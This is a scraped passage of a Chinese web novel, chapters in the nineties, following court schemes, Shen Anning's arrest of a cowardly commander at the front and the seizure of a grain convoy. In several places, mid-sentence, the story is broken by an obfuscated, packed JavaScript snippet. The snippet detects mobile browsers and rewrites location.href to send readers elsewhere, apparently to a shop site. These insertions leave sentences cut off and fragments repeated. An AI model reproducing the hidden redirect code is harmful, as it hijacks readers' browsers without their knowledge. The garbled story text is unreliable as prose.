闻言邵暮心中一惊,失望如潮水般涌上心头,脸上却不显,只面无表情地看着邵盛,“若我能帮阿爹对付方景泽,助赵王荣登九五,是不是也算报答阿爹的养育之恩?” 邵盛听后却是一愣,今日的邵暮与往日那个唯唯诺诺的邵暮很是不同,他皱着眉打量着邵暮,邵暮心中却是一阵厌恶。 邵盛道:“那就要看你能做到多少了!不过我们终究是父女,你若不愿,我也不会逼你!” 邵暮却笑道:“为何不愿?能为阿爹分忧是女儿应该做的!” 邵盛观察着眼前的邵暮,邵暮却没有丝毫退缩,反倒主动道:“只是我毕竟一个人,若是阿爹能帮我找两个帮手就更好了!” 邵盛思量了片刻,“这有何难,府上的人你随意指派!” 邵暮道:“阿爹,这方景泽毕竟是皇子,若总是指使府上的人,他早晚会发现的!” 邵盛神情严肃了起来,他有一支暗卫,上去派去刺杀沈海的正是这支暗卫,可邵暮如何知道? 邵暮见对方沉默了许久,知道自己操之过急了,于是又道:“我想不如从外面找几个武艺高强的人来,不过毕竟是外面的人,不知可不可靠。”邵暮顿了顿,又道:“要不多给他们些银钱,有了钱财,他们一定会忠心对我们的!” 邵盛瞥了一眼邵暮,看来她确实不知道,道:“不用去外面找人。” 说着邵盛回过身从书架上拿出了一个盒子,打开后里面是一只哨子,他递给邵暮道:“你若想用人,吹响它就可以了!” 邵暮看着那只哨子,心中正开心时又紧接着假装不知道,问道:“这是什么人?” 邵盛只冷笑了一声。 最后一抹余晖悄然退去,沈安宁自今日一早接到圣旨后,江冬屹就气得饭也不吃了,沈安宁正要往江冬屹的院子去,就听见了张千的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13034874|128163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轮子声,沈安宁闻声看去,张千见到沈安宁后停下了动作,抬头看向沈安宁。 “回来这么久了,这个还没还你!” 沈安宁上前一看,正是自己的青铜扇,见到这把扇子,沈安宁心口又沉闷了许多,张千自然明白,所以才一直收着这把赵巳做的扇子。 “过去坐坐吧!” 张千抬起下巴朝一旁的石桌点了点,沈安宁上前接过了扇子,又推着张千过去,自己坐到了一旁的石凳上。 “是你让方景淮送来的信?” 沈安宁点了点头,低头打开了扇子,张千看着她的动作,道:“我和你师父知道赤州你是一定要去的,不过我还是要说,明日就要出征了!大哥和大嫂已经没了!你一定要保护好自己,就算不为了你自己,为了将来替大哥洗清冤屈也要活着回来!” 沈安宁抬头看向张千,“谢谢你!张叔!” 张千被这突然的感谢吓了一跳,还未来得及细想,沈安宁又道:“虽说兵马未动粮草先行,可赤州战况紧急,怕是等不到筹备粮草了,明日我和师父先出发,张叔,粮草一事就托付给你了!我担心并不会那么顺利!” 张千道:“我看谁能阻我!” 沈安宁一声苦笑,想了想又道:“还有一事,我想请张叔帮我!” 张千听着沈安宁这突兀的客气,道:“你说!” “我离开洛京后,我想让张叔帮我照看方景淮!” “什么?”张千又道:“方景淮?” 沈安宁点了点头,“佩娘前来杀他,我想可能是因为上次仲阳帮他进了大狱找我,太后在测试仲阳的忠心,虽然太后未必真的要杀他,但以防万一,还是想请你多照看他一些!” 张千见沈安宁神情严肃认真,便也不再玩笑,只是有些担忧地看着沈安宁,可想来想去,别的话还是没能问出口,只道:“你放心吧!” “好!” 两人又聊了一些赤州的情况,便一道去找了江冬屹。 第二日,沈安宁一身铠甲,长发被一根白色长带高高束起,正要前去皇宫辞行,方景淮和叶云舒、张千送到了沈府门口,吕叔将三妹牵了过来,沈安宁正要接过缰绳时,又忽然转了走到了方景淮面前,抽出了青铜扇,拉过方景淮的手将扇子交给了他。 “等我凯旋!” 方景淮紧握着扇子,笑着点了点头。 沈安宁这才转身离去,和李万一道去了皇宫。 几位公主也前来送沈安宁,只是方承尧和诸位大臣在,她们不便露面,只站在了大殿的拐角处看着沈安宁离开,到了午时,沈安宁和李万才出了洛京城,方景淮站在城门上,手中是沈安宁的青铜扇,看着沈安宁的队伍渐渐消失。 身后的叶云舒道:“你还是不早些回去吧!吹了风受了凉了不好!” 方景淮没有回头,“她和你说了什么?” 叶云舒想起今早沈安宁和自己说的话,“她请我盯着你身上的毒,有事便写信告知她!” 方景淮听后嘴角上扬,看着已经看不见的队伍。 叶云舒知道他是不会离开了,准备自己先走,刚一转身就听见方景淮道:“你想为梁府翻案吗?” 叶云舒一愣,回头看向方景淮,见他依旧没有回头,叶云舒思量了片刻,“先等你身上的毒解了!” 方景淮看着又一匹骏马出了洛京城,直奔沈安宁她们走的方向而去,道:“不用,我来助你一臂之力吧!” 叶云舒眼眸一亮,随后又苦笑道:“二十一年都等了,还在乎这几年吗?” “可我没有几年了。” 叶云舒一怔,又道:“那该从哪开始?” 方景淮这才回过了头,歪头道:“方书君!” 95. 第九十五章 肇始 城楼上的叶云舒疑惑道:“毅王府世子?” 方景淮摩挲着手中的青铜扇,“亲王本不该留在京城,可这一年毅王因为各种事耽误一直未能回到端州,太多的巧合就成了刻意,更何况……” 方景淮顿了顿,想起两次看见的方书君和杜桢,“以杜桢的才能,往年却从未听说过他,他的家乡是端州文雄,离毅王的封地并不远,去年方书君回了京,今年他便在一众考生中脱颖而出,高中状元,这一切说来都太巧了!” 叶云舒思忖了片刻,“你是说方书君是有意留在洛京的?” 说着叶云舒又想起了去年方书君染上瘟病的时间,那是已经有了解药并且有人痊愈了以后,叶云舒有些疑惑道:“可这未免太过冒险了?有什么可以值得他用自己的身体去换?” 方景淮紧握青铜扇,“这就要去看看了!” 叶云舒看向方景淮,问道:“看看?” 方景淮点了点头,朝城中走去,叶云舒满心疑惑不解,见他走远了便跟了上去。 叶云舒跟着方景淮穿梭在城中,两人绕了几条巷子后在一处檐廊下停下,方景淮看着前方一扇老旧的房门,叶云舒也顺着他的目光看去,那是一处大白天也大门紧闭的老屋,叶云舒正要发问,就听见方景淮解释道:“我和阿宁曾遇见过一个黑衣人,当时以为是穆文钦所以一路跟了过来,却没想到是方书君,当时洛京城中正是瘟病横行的时候,他一人鬼鬼祟祟的前来,定是有什么重要的事,或许和他为什么留在洛京城有关。” 说着方景淮回过头,又道:“我们势单力薄,他才来了洛京一年,便既和杜桢关系匪浅,又能得谷鹏相助,想来他是有几分本事的,再加上他和杜家都跟邵陆两家没有牵扯,是我们可以拉拢的人选,所以现在最重要的是弄清楚他的目的是什么,也好有交涉的筹码。” 叶云舒听后思量了片刻,似乎这一刻才真的觉得方景淮是认真的,于是问道:“你不是也准备离开洛京了吗?” 方景淮正盯着那老屋,一听身后传来这话,他正色道:“镇北侯和江夫人去世了,她不会就此罢休的!” 叶云舒看着他,方景淮回头道:“我知道你回洛京不仅是为了淑妃娘娘身上的毒,还是为了梁府满门,既然我只有一年的时间了,何不用这一年的时间为她……也为我阿娘做点什么。” 说着方景淮又回过头观察着那老屋,叶云舒沉思了许久,最后道:“你对她……真好!” 方景淮轻笑了一声,道:“我对她还不够好,倒是你,能不计前嫌照顾江夫人,确实难得!” 叶云舒疑惑道:“不计前嫌?” 说着叶云舒忽然想起了之前沈安宁误会沈海参与梁家灭门一事,“你也觉得侯爷参与了梁府灭门一案?” 方景淮闻言回过了头看向叶云舒,“难道不是?” 顿了顿,方景淮又道:“我也?还有谁……阿宁?” 叶云舒点了点头,又向方景淮解释了一番那时的情况,“当时沈姑娘还说会给我一个交代,我想估计是想替父赎罪吧!” 说着叶云舒看着似乎在想什么的方景淮,又道:“既然你一直认为侯爷参与了,那你为何对沈姑娘……不过说明白了也好,往后你和沈姑娘之间便不会有隔阂了!” 方景淮抬头问道:“她是什么时候知道的?” 叶云舒想了想,“宫变之前,怎么了?” 方景淮听后一愣,那当时在探春时,沈安宁明明知道梁府之事与沈海无关却没有说,想来是顾及叶云舒的身份,方景淮一笑,道:“没什么!” 说着方景淮回过头去,看向那老屋,“既如此,那我们想想该怎么去打听才能不被方书君知晓吧!” 叶云舒见他不再往下说便也能没再细究,朝那边看了看后,道:“不如先去问问邻居?” 方景淮思量了片刻,“也行。” 两人朝那老屋而去。 此时的邵府中,邵暮正拿着那只邵盛给的哨子坐在自己院子中,心中思量着,这些人是邵盛的人,那自己若安排他们去做什么,他们会不会立刻就告知给邵盛,可自己既然已经迈出了这一步,便就不能回头了,倒不如叫他们前去跟踪方景泽,一来自己可以知道方景泽是不是真的和长乐坊的佩娘有关系,二来,可以得知邵盛会不会真的放手给自己去做。 想到这,邵暮小心地吹响了哨子,可紧张地等了一会没有一个人影,于是邵暮又一次吹响了哨子,忽然一阵黑影闪过,将邵暮吓了一跳,那黑影掉到了地上,又缓缓起身,一身黑衣,看不清面貌。 邵暮强压着恐惧,又小心地朝四周瞟了瞟,那人似乎看出了邵暮的想法,道:“人多容易暴露,你有什么吩咐?” 邵暮紧握着拳,道:“我阿爹可和你们说了?” 黑衣人道:“主人让我们听从你的吩咐!” 邵暮打量了一眼眼前的人,思量道:“那我想让你们前去跟着方景泽,看看他近日都去了哪,见了什么人,都一一详细探来!” “是!” 黑衣人转身便离开了,邵暮看着那黑影离开的方向,心忍不住的狂跳,除了惊慌,居然还有一丝兴奋,她压住了情绪,才缓步离开了院子。 一连几天过去,邵修齐被葬入由先帝为跟随他打下江山的众人建的忠臣陵中,邵暮当晚正像往常一般看了会书,忽然听见一声哨子声响,邵暮一愣,随后便想到是那黑衣人来了,于是坐了起来,命众人退下,山桃正为邵暮倒茶,就听见邵暮道:“你也退下!” 山桃不解,可见邵暮这样说,便也跟着其他丫鬟离开,离开前还不忘说道:“小姐你本就睡得浅,这茶还是少喝为好!山桃就先下去了!” 等山桃她们离开后,邵暮还未来得及回头去看窗外,一个黑影便出现在眼前,邵暮轻吐了口气。 黑衣人道:“魏王这几日除了每日去皇宫上朝,便是去长乐坊找一个叫佩娘的人,前日在长乐坊见了刘洪,此外便没有别的了。” 看来这个佩娘和方景泽关系确实不一般,那方景泽知道佩娘认识雷炎吗?邵暮思量了片刻,道:“刘洪?” 黑衣人正要回答时,邵暮已经起身朝窗边走去,“刘洪?刘主簿?他的夫人是大理寺卿之妹。” 看来方景泽真得在查那个侍女之死,邵暮轻笑了一声,这倒是帮了自己大忙。 黑衣人见邵暮自言自语,似乎不需要自己回答,于是立了一旁,邵暮侧头道:“没事了!你先下去吧!” 黑衣人却没应下,而是又道:“不过这几日有个意外发现,我想还是要告诉你。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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邵暮打量着对方,道:“那你这几天跟着我干什么?” 男子抬头看了一眼邵暮身旁的山桃,又迅速低下了头,“我……没有。”男子顿了顿,又道:“我只是想找份差事做,听闻小姐是邵国公府上的小姐,所以才跟着你。” 邵暮听着这蹩脚的理由,忽然没那么害怕了,她吹了吹哨子,一人出现在三人面前,山桃又被吓了一跳。 邵暮思忖了片刻,让黑衣人带山桃离开,山桃正被吓得了没了魂,一听这话便顾不得什么了,拉着邵暮道:“小姐,我不走!” 黑衣人也盯着邵暮,似乎在想邵暮要做什么,邵暮却只是盯着那男子,道:“你们先回府!” 山桃拉着邵暮不愿离开,邵暮便朝黑衣人示意了一下,黑衣人便一掌打到了山桃肩上,山桃便昏了过去,被黑衣人带走了。 邵暮的目光一直在那男子身上,见那男子看见山桃被打晕后有些紧张,直到山桃和黑衣人离开后,邵暮才道:“四周都是我的人,我现在给你机会,你最好和我说清楚。” 邵暮盯着男子道:“你跟着我是为了山桃吧!” 男子神色中的慌张被邵暮看到,邵暮又道:“你和她到底什么关系?” 男子盯着地上看了许久,才抬头看向邵暮,“那小姐可以答应我,先不告诉她吗?” 邵暮思量了片刻,道:“好!” 96. 第九十六章 整顿 男子缓缓抬头道:“我叫全顺,原本是陵州乡下的一户农家,家里虽然穷,但是父母带着我和妹妹凑活着还能过活,只是十几年前的一场饥荒,陵州死了好多人,父母为了换些粮食给我,便将妹妹卖给了一个人牙子,后来父母也在那场饥荒中死了,我有幸活了下来,就想去找回妹妹,这些年来跑了好多地方,终于打听到了妹妹的下落,原来当初妹妹被来回卖了好几次,最后一次就是邵国公府。” 邵暮听到这已经是明白了,王明珠对自己的厌恶从来没有掩饰过,府中多是阿谀奉承之人,自己这么多年来虽担了邵府小姐之名,却远没有邵晨的待遇,就连下人也要分出个三六九等,而自己则只有一个从外面买来的最下等的山桃服侍。 听着全顺这话,看来对方是认为山桃就是当初被他父母卖掉的妹妹,邵暮想了想,又道:“你怎么确定山桃就是你妹妹?” 全顺抬头道:“我找到了当初那个人牙子,是他告诉我的!” 邵暮听后嘲讽一笑,“当初你们用她来换粮食,现在又要用她来换什么?” 全顺一听这话脸就红了大半,低头道:“我知道当初是我们不对,所以才不敢出来相见,只是一直跟着你们,可我们终归是一家人啊!我们是彼此在这世上唯一的亲人了!我想……我想她会原谅我的吧!” “一家人?”邵暮脸上的嘲讽没有隐藏半分,说着便准备离开了,可转念一想,黑衣人虽然有用,但毕竟不是自己,或许此人留下会有点用,于是邵暮又回头道:“想让山桃原谅你,好啊!你得听我的!” 全顺一听这话,感觉有了希望,急忙道:“好!都听小姐的!只要能让我见妹妹!” 邵暮背过身,道:“你先找个地方住下吧!等我找你,至于你的事,我会和山桃说的,只是在这之前你最好不要打扰她,不然,以后再也见不到她了就不要怪我!” 全顺用力的点了点头,邵暮冷哼了一声,便离开了。 已是夏初,夜间还是有些寒凉,杞国朔京城中的翎王府正厅中,一个约莫五六十岁的男子正坐在主位上,下人们都不敢发出一点声响,都低着头立在一旁。 不知等了多久,忽然正厅外传来声响,男子微倾身子向前,一个老者笑着进了正厅道:“王爷!是世子回来了!” 被唤王爷的男子正是穆文钦的父亲,翎王府的主人穆眠,穆眠听了管家的话,又将身子正了正,紧皱着眉头看着厅外走来的穆文钦。 穆文钦抱着一只深色的坛子,缓缓进了正厅,抬头看向前方的穆眠。 一旁的管家见状,上前笑道:“世子一路奔波,定是受了不少罪!我这给世子准备热水,好让世子梳洗一番,好好休息!” 穆文钦却没出声,只看着自己父亲,前些日子,朝廷派去姜国的使臣已写了信来,将这一切都回禀了圣上,穆眠本要教训穆文钦私自离府,还去了姜国,可当穆眠看向穆文钦手中的坛子,这一切都先放到了一旁,穆眠起身走向了穆文钦,“这是……” 穆文钦冷笑一声,“是你送她去的,她变成这样都是因为你!” 穆眠盯着那只坛子,眼中也有了些许泪光,他抽回目光,背过了身去,“镜儿是为国尽忠,你应当为她感到骄傲!” “那怎么你不自己去啊!” 穆文钦话中的嘲讽不加掩饰,管家见状急忙上前拉住了穆文钦,“世子!世子定是路上劳累了!先去休息,养足了精神再说如何?” 穆文钦抽出了自己的手,“我不要休息!我是来告诉你!我要去边境!” 穆眠回过头,怒道:“你有什么本事去边境?“ 穆文钦抱着那只坛子,“从小你我和阿姐为了你的仕途放弃我们的一生,可结果呢?阿姐得到了什么?她是你女儿,是你亲女儿!你这般对她!对得起我阿娘吗?” 穆文钦越说越气,甚至觉得鼻子有些堵,他背过身去,“我现在不管你同不同意,不管你的皇兄如何看你!从今往后,我只做我想做的事!” 穆眠抬手,众人得了示意都下去了,管家看了看父子两,也一道下去了。 “你想做的事?要是没有翎王府世子的身份,你能做什么事?” 穆文钦紧抓着坛子,穆眠又道:“你阿娘死得早,我又没有空闲教你们,所以你自小就是跟着镜儿长大的,我知道你和镜儿的感情,镜儿也是我和阿若的女儿,如今她……没了,我知道你心里埋怨我,可她是为了杞国,为了我们才去的姜国,现在的结果她早就想到了!” “那你知道她曾亲手杀了自己的孩子吗?” 穆眠一愣,穆文钦回头道:“你不知道,你不知道她在姜国每天有多煎熬!” 穆文钦顿了顿,又道:“我不管你同意不同意,边境我去定了!” 说完穆文钦便抱着坛子出了正厅,离开了翎王府,深夜,穆眠一人在房中看着一张画卷,画卷上正是他的妻子莘若。 此时池州外的一处山林中,沈安宁和李万带着一队人马正停在树旁歇息,连日的奔波让众人都有些疲惫,沈安宁正靠着树闭着眼,忽然远处传来声响,沈安宁猛地睁开了眼,众人也都迅速警惕起来。 等了片刻,沈安宁和李万交换了个眼神,便只身上前,足尖在一旁的矮树一点,借了力翻身一跃上了树,将自己藏在了黑暗中,静待了片刻,一人骑着马正朝这边而来,沈安宁仔细一看,却是满目疑惑。 沈安宁跳下了树,在树旁等着那人前来,骑马之人远远地就看见一个身影立在树下,心中有些慌乱,因此马也缓了下来,可转念一想,管她是什么我直接冲过去就行了,于是他一挥马鞭,马儿又飞快的跑了起来。 直到看清树下之人,马上的人才急忙拉住缰绳,下了马朝沈安宁而去。 沈安宁看着面前这人,问道:“你怎么来了?” 看见对面之人背着巨大的行囊,顿了顿又问道:“舅舅知道吗?” 牵着马的江时鸣道:“我想参军!阿爹肯定不会同意的,可我不想跟他回陵州,回去又是说亲又是接管家业的,我不想过那样的日子!” 沈安宁道:“参军不是儿戏!” 江时鸣道:“你一个女儿家都可以,我有什么不能的!你就放心吧!小时候阿娘说我体弱,让我学了几年功夫,我能行的!” 沈安宁没再多劝,只看了他一眼就带着他往李万他们所在之处走去。 第二日,沈安宁、李万等人就进了池州,一行人找到了平川军驻扎地,沈安宁带着众人进了军营,见军队没了往日的生气,各个灰头土脸的。 沈安宁、李万带着江时鸣和几个随从到了陆元黄的大帐时,被拦在了外面,“你们先在这等着,等我进去通报元帅!” 说着便要转身进去,沈安宁却越过了他直往大帐里去,那侍卫正要拦下沈安宁时,忽然眼前一闪寒光,一杆长抢抵在了自己脖子前,侍卫顺着长枪看去,是李万单手持枪正看着他。 不一会陆元黄被一脚踹出了大帐,大帐周围的士兵都看了过来,陆元黄似乎还未梳洗,只穿了亵衣,陆元黄从洛京带来的侍卫急忙上前扶起他,陆元黄气急败坏地指着从大帐走出来的沈安宁,“你干什么!谁给你的胆子!你知道我是谁吗?” 江时鸣见状更是一愣,沈安宁朝一旁的随从示意了一下,随从便立即拿出了圣旨,高举着圣旨道:“沈姑娘是圣上请封的征北大元帅!陆元黄罪大恶极,将被送往洛京受审!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079727|128163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >大帐外围观的士兵越来越多,众人你看我看你的,陆元黄指着沈安宁道:“那又怎么样?圣上也只是让我回京!我知道你把沈海的死算在我头上,你敢公报私仇?” 沈安宁一步一步逼近,“身为主帅,临战脱逃,弃赤州城的百姓不顾,光是这些就够你死千次万次了!” 说着沈安宁又下令道:“来人!拿下!” “你敢!沈安宁!你敢抓我!你知道我爷爷是谁吗?”陆元黄的话让准备上前来抓他的士兵却了步,陆元黄见状得意道:“沈安宁!别以为你能拿我怎么样!我回京也只是走个过场!我姑母是当今太后!连圣上都要听她的,你敢动我,那就看我们两谁得下场更惨!” 沈安宁抽过一旁侍卫的长枪一枪挥向陆元黄,陆元黄被吓得双腿不得动弹,便紧闭上了眼,等了一会,感觉身上并未有伤,又睁开了眼,沈安宁一枪敲在他腿上,陆元黄随即跪了下去,沈安宁又朝大帐外的士兵道:“拿下!” 士兵们互相看了看,最后来了几人将陆元黄和他的侍卫一道拿下了。 陆元黄朝沈安宁吼道:“沈安宁!你敢!” 沈安宁道:“我的下场我不知道,但你的,我一定会知道!” 说着沈安宁又朝侍卫吩咐道:“带下去!” 侍卫带着骂骂咧咧的陆元黄离开了大帐,江时鸣早已看呆,盯着沈安宁久久没能回神。 沈安宁走向士兵,道:“诸位都辛苦了!赤州之战我知道不是你们的错!但死去的将士们的尸身和我们的国土,仍在他国手中,我们既然还活着,就应该去收复我们的国土,接他们回家!” 士兵们原就因赤州之战士气低落,又一直蛰伏在此处,更是心中不快,如今听了沈安宁的话,又见沈安宁抓了陆元黄,渐渐地心中的士气又起来了。 先是一人应和道,随后士兵们都应和着沈安宁的话,沈安宁手持红缨长枪站在大帐前,身前是将士们的呐喊声。 江时鸣被这叫喊声惊得回过了神,他看着沈安宁的背影思忖着。 正在池州军营士气高涨的时候,远在洛京的粮草也都准备好了,张千看着筹措好的粮食,吩咐士兵再仔细检查一遍,随后又上旨给圣上,一切准备就绪,可又忽然想起沈安宁离开前让自己保护方景淮一事,于是他转着椅子来了燕王府找方景淮。 张千这几日一来忙着粮草一事,二来晚上还要去庙里守着沈海、江秋妤和阿月的棺椁,直到这时他才想起自己好几日没有看到方景淮了,于是他上前敲了门,等里面的人开了门后才得知方景淮近来都早出晚归的,现在正不知去哪了。 张千正疑惑时,忽然想起会不会是去找叶云舒看病了,于是他去了医馆,依然没有找到方景淮,等他想再去燕王府碰碰运气时,忽然见方景淮和叶云舒正往医馆走来。 方景淮一见张千,便主动上前道:“张将军!” 张千打量了一眼方景淮,又看了一眼叶云舒,道:“燕王好兴致啊!” 方景淮闻言一愣,随后笑道:“张将军是来找我的?” 张千又看了一眼叶云舒,叶云舒便道:“我先进医馆了!抓药还需要些时辰,你们可以慢慢聊!” 说着叶云舒就进了医馆,方景淮道:“张将军来找我是为了何事?” 顿了顿,方景淮喜道:“难道是阿宁有消息了?可这个时间,她应该刚到池州!” 张千哼了一声,道:“阿宁?叫得可真不见外!” 还未等方景淮回话,张千又道:“阿宁走之前托我保护你,但现在粮草准备好了,我要护送粮草去池州,你若有什么事可去找陈府或是找吕管家。” 方景淮思忖了片刻,“我和你一道去送粮草吧!” 97. 第九十七章 粮草 张千疑惑道:“你和我去?” 方景淮点了点头,“雷炎还未抓到,我担心粮草会出问题。” 这也正是张千所担心的,只是张千打量了一眼眼中的方景淮,见他面色一如既往的毫无血色,又想起刚刚这人和叶云舒一道,心中有些不悦。 亏得阿宁离开前还要我保护你,结果她一离开洛京你就去找别的女子,更何况还是阿洵喜欢的女子,想到这,张千没好气道:“你担心粮草?你还是担心担心你自己吧!别到时候还要我保护你!给我添乱!” 方景淮见今日张千对自己像是很不满,正在想自己什么时候得罪过他时,又听见张千说道:“更何况你能离开洛京吗?” 方景淮听到这便笑了笑,“我这就进宫向圣上请旨!只是到时候我们还得加上一人!” 张千闻言,心中想道:这人难道是想带叶云舒一道去? 还未等张千问出心中所想,叶云舒便提着药出现了,张千别过头去,方景淮接过了药道了声谢,叶云舒正要提醒他这药要按时吃,才能帮他稳定体内的毒,可见一旁张千在,又想起方景淮不想告诉沈安宁他的病情,于是便没再开口。 方景淮回头见张千正用怪异的表情看着自己,一时有些不解,可一想到沈安宁在池州急需粮草,于是向张千和叶云舒道了别,急忙往皇宫去。 张千瞥了一眼叶云舒,也转着自己的椅子离开了。 叶云舒看着莫名其妙的张千,一时有些好笑。 方景淮一路进了宫,等在了方承尧的御书房外,等了许久,见方景泽从御书房内出来,一道出来的小公公正要引着方景淮进去。 方景泽冷笑了一声,低声道:“没想到还能见到九弟,真不知你如此幸运,两次都有人救你,只是现在,两个救你的人都不在洛京,九弟回府路上可要当心啊!” 方景淮笑道:“多谢魏王提醒!” 两人相视一笑,却各有心思,方景淮跟着引路的小公公进了御书房,毕恭毕敬地上前行了一礼,待方承尧命他起身后,方景淮听着方承尧一句话中要咳好几次,才抬头看向坐在书案旁的方承尧,见他两鬓的白发似乎又多了许多。 方承尧问道:“你……咳咳……有什么……事?” 方景淮收回了目光,道:“我想向圣上请旨去协助张将军押运粮草!” 方承尧一手倚着书案咳了几声,身后的康公公在一旁给他顺着气,等咳嗽渐渐平缓了,方承尧才道:“你何时……对这些上心了?” 方景淮道:“杞国奸细雷炎还未抓到,我怕他会对粮草不利,张将军伤势还未痊愈,我担心这一路会不顺,粮草之事关乎边境安危,臣不是对这些上心,臣只是担心赤州战事!” 方承尧盯着方景淮看了许久,“你和沈……” 顿了顿,方承尧又道:“但你既不会武功,又……身体抱恙,你去了……有什么用?” 方景淮道:“张将军腿脚不便,我可以替他做些跑腿的事,更何况,圣上现在还想把这件事交给陆家吗?” 说着方景淮顿了顿,见方承尧脸色愈发难看,又接道:“不过,既然圣上觉得臣无用,那臣便推荐一人前去,还望圣上恩准!” 方承尧问道:“谁?” “方书君!” 方承尧打量着方景淮,“你何时和世子熟识?” 方景淮抬头道:“我和世子并不熟识,只是见他上次在宫变中的行事,觉得他是个有能力的人,圣上若是觉得不行,那便当臣胡言乱语了!” 方承尧盯着低下的方景淮,方景淮又道:“臣只是想让粮草平平安安地送到将士们手中,赤州失守,臣不愿因为粮草导致池州也遭遇此劫!” 方承尧思忖了许久,最后朝一旁的小公公道:“宣张千和方书君前来!” 小公公领了旨意出去了,方景淮行了一礼道:“多谢圣上成全!” 方承尧看着他没再多言,天边只剩下一抹斜阳时,方景淮、张千、方书君三人从御书房出来,三人和方承尧说了半天押送粮草相关的事宜。 张千见方承尧已经让方景淮一道去了,便也没再多说什么,更何况方景淮在自己身边确实能方便自己保护他,不过方景淮说得第三个人不是叶云舒,而是方书君倒让他想不到,但第三个人不是他想的叶云舒,又让他心情好了许多,于是他朝二人抱拳告了辞要回去安排押运粮草的事了,张千心中想着等处理完这边的事还能去庙里陪一陪沈海。 想到这,张千又没好气地看了一眼方景淮,张千这几日晚上都在庙中守着三人的棺椁,又有吕管家在,两人聊些闲话,也算自在,谁知自从三人棺椁被送去庙里那天起,方景渝便白天在宫里守着,晚上去庙里守着,扰得他也不好受,可一想人家是赐了婚的,这样也算痴情。 可又看向眼前的方景淮,从沈安宁离开后就和叶云舒走那么近,张千见一旁方书君在,也不好多说,便转身离开了。 方书君今日被方承尧叫来已是让他意外,更让他意外的是从小公公处得知是方景淮向方承尧举荐的自己,这更让他摸不着头脑,他想问方景淮,但碍于此处正在皇宫,多有不便,方书君想了想,既然要一道押送粮草,路上有的是时间问他,更何况这事还得找杜桢商量商量,于是他也先告辞了。 方景淮心中不解张千为何这样看自己,但见张千已经离开,便自己一人挥着扇子缓步朝宫外走去,正要到宫门口时,忽然见远处檐廊下有半个身影,瞧她的露出来的衣物不像是宫中的衣物,不过这时还在宫中应该是个宫女,方景淮想起之前听梁妈妈说起有些宫人会托出宫办差的人倒卖宫中物件。 当初他们在冷宫也正是梁妈妈做一些针线活,拿出去给出宫办差的宫人倒卖才换来一点银钱用来打点前来冷宫送饭菜的宫人,才让她们几人在冷宫中不被缺衣少食。 更何况,自方承尧登基以来,先是准了各位皇子出宫后可随意进宫来住,后又因为宫里各中喜事丧事都要请王公大臣进宫,一来二去,皇宫已不似先帝在时那般戒备森严。 方景淮看了一眼那宫女的衣角,便回过头出宫了。 檐廊下那个宫女悄悄回过头,看着脸庞像是有些年纪了,她见方景淮已经离开了,才转过了身,朝后打量了几眼,走向了宫门。 宫女给了宫门口的侍卫一些银钱后,又拿出了一块令牌,“奉太后娘娘之命!出宫办事!” 侍卫开了半扇宫门,宫女便立即出了宫,一路朝长乐坊而去,到了长乐坊侧门外的一处茶摊时,宫女坐了下来,像是在等什么人。 不一会,佩娘从长乐坊的侧门出来,直奔茶摊而去,见到宫女后两人说了两句,便各自离开了。 长乐坊对面的酒楼上,带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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见其他人还要追,其中一个黑衣人抬手制止道:“别追了!我们的任务是粮食,快看看粮食!” 黑衣人应道,抽出了一把匕首走近那几十车的粮食,一刀下去,见流出来的真的是粮食,发号施令的那个黑衣人又指了指别的车,一行人检查了几车后,见都是粮食便拉着车队离开了。 池州军营中的沈安宁、李万等人等粮草已经几天了,一开始沈安宁心中隐隐有些猜测,直到现在了,还未见到粮草的消息,心中便已经有了答案。 李万起身道:“元帅!我们不能空等着,让我带人前去看看吧!” 沈安宁看着他仍吊着的手,道:“师父,你的伤还未好,先好好休息!” 其他的将领便互相说着让自己去,沈安宁抬手示意他们安静,接着走向大帐中的沙盘,道:“杨逾在赤州城一战大获全胜,可他却一直待在城内,没有趁胜追击,当初偷袭平川时应该也想到了阿爹会安排好防御,所以并未带太多粮草,城中百姓也早已撤走,看来很有可能城内也没有余粮了,派人去赤州往杞国的路上守着,有没有粮车经过,我们去借个粮草。” 一人应下后退了出去,沈安宁看着那沙盘思量着。 江时鸣在一旁看着他们商量军务,一时有些恍惚,又看向沈安宁。 98. 第九十八章 流变 深夜,叶云舒正在酒楼中翻阅着那本《本草经》,她想尽快找出解方景淮身上毒的办法,忽然翻书的手停了下了,叶云舒想起之前和沈安宁说起过去找齐茂成问清楚当时方景淮中毒的情况,可从哪开始发生了太多事,以至于让她将此事抛到脑后了,叶云舒看了一眼窗外的黑夜,看来明天得去找他一趟。 